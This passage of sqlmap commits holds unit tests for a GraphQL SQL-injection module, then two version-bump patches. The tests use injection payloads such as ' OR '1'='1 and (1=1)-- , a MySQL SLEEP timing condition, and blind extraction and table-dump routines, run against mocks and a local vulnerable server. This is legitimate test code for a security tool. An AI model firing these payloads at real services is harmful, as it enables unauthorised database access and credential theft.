'{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' +NOMATCH = '{"data":{"user":null}}' +DB_ERROR = '{"errors":[{"message":"You have an error in your SQL syntax; check the manual...","path":["user"]}]}' +GQL_PARSE_ERROR = '{"errors":[{"message":"Syntax Error: Expected Name, found )","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}' + +MOCK_SCHEMA = { + "data": {"__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "byId", "args": [ + {"name": "id", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, + "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + {"name": "version", "args": [], + "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + }} +} + + +def _slot(opType, rootName, fieldName, argName, strategy="string", + returnKind="OBJECT", returnType="User", + returnSel="{ id name }", allArgs=None): + """Test helper: build a minimal Slot with sensible defaults""" + if allArgs is None: + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}} + if strategy == "numeric": + argType = {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}} + elif strategy == "id_dual": + argType = {"kind": "SCALAR", "name": "ID"} + allArgs = [(argName, argType, None)] + return gi.Slot(opType, rootName, fieldName, allArgs, argName, strategy, + returnKind, returnType, returnSel) + + +# --- Tests ----------------------------------------------------------------- + +class TestGraphqlHelpers(unittest.TestCase): + """Unit tests for type-walking, classification, and response parsing""" + + def test_unwrap_simple_scalar(self): + chain = gi._unwrapType({"kind": "SCALAR", "name": "String"}) + self.assertEqual(chain, [("SCALAR", "String")]) + + def test_unwrap_non_null(self): + chain = gi._unwrapType({"kind": "NON_NULL", "name": None, + "ofType": {"kind": "SCALAR", "name": "String"}}) + self.assertEqual(chain, [("NON_NULL", None), ("SCALAR", "String")]) + + def test_unwrap_list_non_null(self): + chain = gi._unwrapType({"kind": "LIST", "name": None, + "ofType": {"kind": "NON_NULL", "name": None, + "ofType": {"kind": "OBJECT", "name": "User"}}}) + self.assertEqual(chain, [("LIST", None), ("NON_NULL", None), ("OBJECT", "User")]) + + def test_classify_string(self): + self.assertEqual(gi._classifyArg({"kind": "NON_NULL", "ofType": {"kind": "SCALAR", "name": "String"}}), "string") + + def test_classify_int(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Int"}), "numeric") + + def test_classify_float(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "Float"}), "numeric") + + def test_classify_id(self): + self.assertEqual(gi._classifyArg({"kind": "SCALAR", "name": "ID"}), "id_dual") + + def test_classify_boolean_is_none(self): + self.assertIsNone(gi._classifyArg({"kind": "SCALAR", "name": "Boolean"})) + + def test_escape_graphql_string(self): + self.assertEqual(gi._escapeGraphQLString('test"quote'), 'test\\"quote') + self.assertEqual(gi._escapeGraphQLString("back\\slash"), "back\\\\slash") + + def test_is_graphql_response_with_typename(self): + self.assertTrue(gi._isGraphQLResponse('{"data":{"__typename":"Query"}}')) + + def test_is_graphql_response_parse_error(self): + self.assertTrue(gi._isGraphQLResponse( + '{"errors":[{"message":"Syntax Error: Unexpected ","extensions":{"code":"GRAPHQL_PARSE_FAILED"}}]}')) + + def test_not_graphql_response(self): + self.assertFalse(gi._isGraphQLResponse("hello")) + self.assertFalse(gi._isGraphQLResponse("")) + self.assertFalse(gi._isGraphQLResponse('{"data":{"user":{"id":1}}}')) # no __typename, no graphql error phrasing + + def test_error_text_extraction(self): + err = gi._errorText(DB_ERROR) + self.assertIn("SQL syntax", err) + self.assertIn("check the manual", err) + + def test_error_text_from_parse_failure(self): + err = gi._errorText(GQL_PARSE_ERROR) + self.assertIn("GRAPHQL_PARSE_FAILED", err) + self.assertIn("Syntax Error", err) + + def test_slot_value_from_data(self): + val = gi._slotValue(MATCH) + self.assertIn("luther", val) + self.assertIn("blisset", val) + + def test_slot_value_null(self): + val = gi._slotValue(NOMATCH) + self.assertIn("null", val) + + +class TestGraphqlIntrospection(unittest.TestCase): + """Schema walking and slot enumeration""" + + def test_extract_slots(self): + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + names = [(s.parentType, s.fieldName, s.targetArg, s.strategy) for s in slots] + self.assertIn(("Query", "user", "username", "string"), names) + self.assertIn(("Query", "byId", "id", "numeric"), names) + + def test_login_has_two_args(self): + """login(username: String!, password: String!) -- both required args should be in Slot""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertEqual(len(loginSlots), 2) + for s in loginSlots: + self.assertEqual(len(s.allArgs), 2) # username + password + + def test_scalar_return_has_empty_selection(self): + """version: String -- field with no args produces no slots""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + # version has no args, so it should NOT appear in slots + versionSlots = [s for s in slots if s.fieldName == "version"] + self.assertEqual(len(versionSlots), 0) + + +class TestGraphqlBuildQuery(unittest.TestCase): + """GraphQL query document construction from Slot + value""" + + def test_string_arg(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "luther") + self.assertIn('user(username:"luther")', q) + self.assertIn("{ id name }", q) + + def test_string_injection_payload(self): + slot = _slot("query", "Query", "user", "username", "string") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("' OR '1'='1", q) + + def test_numeric_with_payload_is_empty(self): + """Numeric GraphQL literals cannot carry SQL payloads; _buildQuery returns ''""" + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1 OR 1=1") + self.assertEqual(q, "") + + def test_numeric_with_valid_integer(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + q = gi._buildQuery(slot, "1") + self.assertIn("byId(id:1)", q) + + def test_id_string(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "abc") + self.assertIn('get(uid:"abc")', q) + + def test_id_numeric(self): + slot = _slot("query", "Query", "get", "uid", "id_dual") + q = gi._buildQuery(slot, "123") + self.assertIn("get(uid:123)", q) + + def test_two_required_args_renders_both(self): + """login(username: String!, password: String!) -- uninjected sibling gets a default""" + allArgs = [ + ("username", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("password", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "login", allArgs, "password", "string", + "OBJECT", "AuthPayload", "{ token user { id name } }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("login(", q) + self.assertIn("username:", q) # required sibling rendered + self.assertIn("password:", q) # target arg rendered + self.assertIn("' OR '1'='1", q) + + def test_mutation_wraps_with_mutation_keyword(self): + allArgs = [ + ("id", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ("email", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ] + slot = gi.Slot("mutation", "Mutation", "updateUser", allArgs, "email", "string", + "OBJECT", "User", "{ id name }") + q = gi._buildQuery(slot, "x' OR '1'='1") + self.assertTrue(q.startswith("mutation {")) + + +class TestGraphqlBooleanDetection(unittest.TestCase): + """Boolean-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + pages = {"true": MATCH, "false": NOMATCH} + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: + return pages["true"], 200 + if "'1'='2" in query: + return pages["false"], 200 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_boolean_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNotNone(oracleType) + self.assertIn("boolean-based", oracleType) + + def test_numeric_skipped(self): + slot = _slot("query", "Query", "byId", "id", "numeric") + oracleType, template = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + +class TestGraphqlErrorDetection(unittest.TestCase): + """Error-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def fakeSend(endpoint, query, variables=None): + if "'" in query and "'1'='1" not in query: + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_error_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, detail = gi._detectError(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + + +class TestGraphqlParseRows(unittest.TestCase): + """JSON data row parsing for in-band dumps""" + + def test_single_object(self): + page = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' + slot = _slot("query", "Query", "user", "username", "string") + result = gi._parseRows(page, slot) + self.assertIsNotNone(result) + columns, rows = result + self.assertIn("id", columns) + self.assertIn("name", columns) + self.assertEqual(rows[0][columns.index("name")], "luther") + + def test_list_of_objects(self): + page = '{"data":{"search":[{"id":1,"name":"luther"},{"id":2,"name":"fluffy"}]}}' + slot = _slot("query", "Query", "search", "term", "string") + columns, rows = gi._parseRows(page, slot) + self.assertEqual(len(rows), 2) + names = [r[columns.index("name")] for r in rows] + self.assertIn("luther", names) + self.assertIn("fluffy", names) + + def test_null_returns_none(self): + page = '{"data":{"user":null}}' + slot = _slot("query", "Query", "user", "username", "string") + self.assertIsNone(gi._parseRows(page, slot)) + + def test_non_json_returns_none(self): + self.assertIsNone(gi._parseRows("", None)) + + +class TestGraphqlGrid(unittest.TestCase): + """ASCII table rendering""" + + def test_grid(self): + output = gi._grid(["id", "name"], [["1", "luther"], ["2", "fluffy"]]) + self.assertIn("id", output) + self.assertIn("luther", output) + self.assertIn("fluffy", output) + self.assertIn("+-", output) + self.assertIn("|", output) + + +class TestGraphqlEndpointDetection(unittest.TestCase): + """Mock endpoint detection""" + + def setUp(self): + self._gql = gi._gqlSend + def fakeSend(endpoint, query, variables=None): + if endpoint.endswith("/graphql") and "__typename" in query: + return '{"data":{"__typename":"Query"}}', 200 + return 'Not Found', 404 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_detect_direct_url(self): + endpoint, page = gi._detectEndpoint("http://test/graphql", probePaths=False) + self.assertEqual(endpoint, "http://test/graphql") + + def test_detect_via_probe(self): + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertEqual(endpoint, "http://test/graphql") + + def test_not_graphql_endpoint(self): + def fakeSend(endpoint, query, variables=None): + return 'Not Found', 404 + gi._gqlSend = fakeSend + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertIsNone(endpoint) + + +class TestGraphqlIntrospectionFallback(unittest.TestCase): + """Introspection without specifiedByURL (older servers)""" + + def setUp(self): + self._gql = gi._gqlSend + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def tearDown(self): + gi._gqlSend = self._gql + + def test_fallback_without_specifiedByURL(self): + calls = [] + def fakeSend(endpoint, query, variables=None): + calls.append(query) + if "specifiedByURL" in query: + return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400 + return json.dumps(MOCK_SCHEMA), 200 + + gi._gqlSend = fakeSend + schema = gi._introspect("http://test/graphql") + self.assertIsNotNone(schema) + self.assertIn("queryType", schema) + self.assertEqual(len(calls), 2) # first fails, second succeeds + + +class TestGraphqlNestedReturnSelection(unittest.TestCase): + """Nested return selections for object-typed fields within the return type""" + + def test_auth_payload_nested_user(self): + """AuthPayload { token, user { id name } } -- selection must nest user sub-fields""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertTrue(len(loginSlots) > 0) + # The nested selection should include 'user { ... }' at some level + for s in loginSlots: + self.assertIn("token", s.returnSel) + # user sub-fields should appear + self.assertIn("id", s.returnSel) + self.assertIn("name", s.returnSel) + + +class TestGraphqlCell(unittest.TestCase): + """Dump-cell rendering: scalars as text, nested structures as compact JSON, null as NULL""" + + def test_scalar(self): + self.assertEqual(gi._cell("luther"), "luther") + self.assertEqual(gi._cell(7), "7") + + def test_null(self): + self.assertEqual(gi._cell(None), "NULL") + + def test_nested_object_is_json_not_repr(self): + # issue B: a nested object must not leak Python dict syntax into the dump + self.assertEqual(gi._cell({"id": 1, "name": "luther"}), '{"id": 1, "name": "luther"}') + self.assertEqual(gi._cell([1, 2]), "[1, 2]") + + +class TestGraphqlDialects(unittest.TestCase): + """Per-DBMS SQL building blocks""" + + def test_sqlite_ordinal_and_length(self): + d = gi.DIALECTS["SQLite"] + self.assertEqual(d.length("x"), "LENGTH((x))") + self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") + + def test_sqlite_rows_handles_nulls(self): + d = gi.DIALECTS["SQLite"] + sql = d.rows(["name", "surname"], "users") + self.assertIn("GROUP_CONCAT", sql) + self.assertIn("COALESCE(CAST(name AS TEXT),'NULL')", sql) + self.assertIn("FROM users", sql) + + def test_mysql_uses_sleep_delay(self): + d = gi.DIALECTS["MySQL"] + self.assertEqual(d.delay("1=1", 5), "IF((1=1),SLEEP(5),0)") + + def test_sqlite_has_no_delay(self): + self.assertIsNone(gi.DIALECTS["SQLite"].delay) + + +class TestGraphqlFingerprint(unittest.TestCase): + """DBMS fingerprinting drives off the universal truth() predicate""" + + def test_identifies_sqlite(self): + truth = lambda cond: cond == gi.DIALECTS["SQLite"].fingerprint + self.assertEqual(gi._fingerprint(truth), "SQLite") + + def test_identifies_mysql(self): + truth = lambda cond: cond == gi.DIALECTS["MySQL"].fingerprint + self.assertEqual(gi._fingerprint(truth), "MySQL") + + def test_unknown_backend(self): + self.assertIsNone(gi._fingerprint(lambda cond: False)) + + +def _mockOracle(target): + """A synthetic SQLite-like dialect plus truth/truthBatch closures that answer comparison and bit + predicates against a known `target` string - lets the blind extractors be exercised without HTTP.""" + + dialect = gi.Dialect( + fingerprint="FP", delay=None, banner=None, currentUser=None, currentDb=None, + tables=None, columns=None, + length=lambda expr: "LEN(%s)" % expr, + ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), + rows=None) + + def _value(cond): + pos = None + if cond.startswith("LEN("): + value = len(target) + else: # ORD(,) + pos = int(cond[cond.index(",") + 1:cond.rindex(")")]) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + return value + + def truth(cond): + tail = cond[cond.rindex(")") + 1:] # e.g. ">=65" + op = re.match(r"(>=|>|=)", tail).group(1) + num = int(tail[len(op):]) + value = _value(cond) + return {">": value > num, ">=": value >= num, "=": value == num}[op] + + def truthBatch(conditions): + results = [] + for cond in conditions: + bit = re.match(r"\(ORD\(.*?,(\d+)\) & (\d+)\)>0$", cond) + if bit: + pos, mask = int(bit.group(1)), int(bit.group(2)) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + results.append((value & mask) > 0) + else: + results.append(truth(cond)) + return results + + return dialect, truth, truthBatch + + +class TestGraphqlInference(unittest.TestCase): + """Blind value recovery: sequential bisection and bit-parallel batched extraction""" + + def test_sequential_extraction(self): + for target in ("3.45.1", "users,creds", "db3a16990a0008a3b04707fdef6584a0", ""): + dialect, truth, _ = _mockOracle(target) + self.assertEqual(gi._inferExpr(truth, dialect, "EXPR"), target) + + def test_batched_extraction_matches_sequential(self): + for target in ("3.45.1", "users,creds", "luther~~~blisset^^^fluffy~~~bunny"): + dialect, _, truthBatch = _mockOracle(target) + self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), target) + + def test_batched_empty(self): + dialect, _, truthBatch = _mockOracle("") + self.assertEqual(gi._inferExprBatched(truthBatch, dialect, "EXPR"), "") + + +class TestGraphqlDumpTable(unittest.TestCase): + """Whole-table dump: column list + row scalar split back into a grid""" + + def test_dump_table(self): + responses = { + "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('users'))": "id,name", + } + rowScalar = "1%snull^^^2%sluther" % ("~~~", "~~~") # two rows, two columns + + def infer(expr, maxLen=gi.MAX_LENGTH): + if expr in responses: + return responses[expr] + return rowScalar # the GROUP_CONCAT row dump + + columns, rows = gi._dumpTable(infer, gi.DIALECTS["SQLite"], "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) + + +class TestGraphqlMakeOracle(unittest.TestCase): + """Universal truth()/truthBatch() primitive built from a slot's true/false contrast""" + + USER_OBJ = {"id": 1, "name": "luther", "surname": "blisset"} + + def setUp(self): + self._gql = gi._gqlSend + + def fakeSend(endpoint, query, variables=None): + if "a0:" in query: # batched, aliased request + data = {} + for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query): + data[m.group(1)] = self.USER_OBJ if m.group(2) == "1=1" else None + return json.dumps({"data": data}), 200 + if "(1=1)" in query: + return json.dumps({"data": {"user": self.USER_OBJ}}), 200 + return json.dumps({"data": {"user": None}}), 200 + + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_truth_primitive(self): + slot = _slot("query", "Query", "user", "username", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertTrue(truth("1=1")) + self.assertFalse(truth("1=2")) + + def test_batched_truth(self): + slot = _slot("query", "Query", "user", "username", "string") + _, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertEqual(truthBatch(["1=1", "1=2", "1=1"]), [True, False, True]) + + +class TestVulnserverGraphqlParser(unittest.TestCase): + """The vulnserver's selection parser must survive aliased batches and bracketed payloads""" + + def setUp(self): + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_match_skips_quoted_brackets(self): + text = 'user(username:"x\' OR (1=1)-- "){ id }' + end = self.vs._graphql_match(text, text.index("(")) + self.assertEqual(text[end - 1], ")") # the args close-paren, not one inside the string + + def test_single_field(self): + sels = self.vs._graphql_selections('user(username:"luther"){ id name }') + self.assertEqual(sels, [(None, "user", 'username:"luther"')]) + + def test_aliased_batch_with_payloads(self): + body = 'a0:user(username:"x\' OR (1=1)-- "){ id } a1:user(username:"x\' OR (1=2)-- "){ id }' + sels = self.vs._graphql_selections(body) + self.assertEqual([(a, f) for a, f, _ in sels], [("a0", "user"), ("a1", "user")]) + self.assertIn("(1=1)", sels[0][2]) + self.assertIn("(1=2)", sels[1][2]) + + def test_nested_selection_set(self): + sels = self.vs._graphql_selections('login(username:"a", password:"b"){ token user { id name } }') + self.assertEqual(len(sels), 1) + self.assertEqual(sels[0][1], "login") + + +class TestGraphqlSiblingDefaults(unittest.TestCase): + """Required sibling arguments must use their real type, not be hardcoded as strings""" + + def test_numeric_sibling_not_quoted(self): + """field(name: String!, limit: Int!) -- injecting 'name' renders limit:0, not limit:\"0\"""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("limit", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "search", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("limit:0", q) + self.assertNotIn('limit:"0"', q) + + def test_boolean_sibling_gets_default_string(self): + """field(name: String!, active: Boolean!) -- Boolean gets \"x\" since there is no Boolean strategy""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertIn('active:"x"', q) + + +class TestGraphqlScalarReturnSelection(unittest.TestCase): + """Scalar and list-of-scalar returns must not get a spurious {__typename} selection""" + + def test_scalar_return_has_no_selection(self): + """version(format: String): String -- no sub-selection""" + allArgs = [ + ("format", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "version", allArgs, "format", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "json") + self.assertIn('version(format:"json")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + def test_list_of_scalars_has_no_selection(self): + """tags(prefix: String): [String] -- no sub-selection""" + allArgs = [ + ("prefix", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "tags", allArgs, "prefix", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "a") + self.assertIn('tags(prefix:"a")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + +class TestGraphqlUnicodeSafety(unittest.TestCase): + """All string conversions must be safe under Python 2 and 3 for non-ASCII data""" + + def test_escape_graphql_string_unicode(self): + escaped = gi._escapeGraphQLString(u"caf\xe9") + self.assertIn("caf", escaped) + + def test_error_text_unicode(self): + page = u'{"errors":[{"message":"caf\xe9","extensions":{"code":"SYNTAX_ERROR"}}]}' + text = gi._errorText(page) + self.assertIn("caf", text) + + def test_cell_unicode(self): + self.assertIn("caf", gi._cell(u"caf\xe9")) + + +if __name__ == "__main__": + unittest.main() From e47b976f5ae64414120ea73d71d7f93769dacabd Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 27 Jun 2026 19:34:20 +0200 Subject: [PATCH 617/853] Fixing CI/CD issue --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c27f6cf1b73..f3dd0b7230f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,11 +189,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7032c06dba29cfc35330e022823b778aa87849d5e92a33f4daff2a364d0c9ecd lib/core/settings.py +6a017fd28b2a70631d0c9391cb4d29bfce91f7f33812856c9402dad8d95d30e9 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -b63a8c4caed56796010e9b438ae6b4c398d4c4ed48d74b0a1a270302e0ce87ca lib/core/testing.py +9b3e17ecaf9d0a9e6a8426395406a7867eb3970fe468ad8346bbfebad7ccee7a lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 53e396902cb2546eaa09e77073fcba8be8827ee9ce055cfc899e81b0e6ad4d6d lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index ec1d36c1530..f7882317d12 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.161" +VERSION = "1.10.6.162" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index d727f8cbf06..6f897b7a0cc 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -89,7 +89,7 @@ def vulnTest(): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction - ("-u \"graphql\" --graphql --flush-session", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) + ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), From 7a951031224af6363952dd94f204b8afedc6576b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 27 Jun 2026 19:43:29 +0200 Subject: [PATCH 618/853] Fixing CI/CD issue --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index f3dd0b7230f..a0a32e0dbd6 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,11 +189,11 @@ ccc4a717e887652b1fcce073d9409d9c59a3b28548c703a9e453d15845f90cd7 lib/core/patch 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -6a017fd28b2a70631d0c9391cb4d29bfce91f7f33812856c9402dad8d95d30e9 lib/core/settings.py +1e5c125c69d2921ed69041a2462f6b41d11f9c1afdfe1987b60657484aa5ccf0 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py -9b3e17ecaf9d0a9e6a8426395406a7867eb3970fe468ad8346bbfebad7ccee7a lib/core/testing.py +5955be979a1d5d3ee221d12e88805f6ef767d43bd4c542e01714cc868c4d020c lib/core/testing.py 95656c44bab1771f4808030dd6a17eae5b129cb1234443f00b19695c7b712b86 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 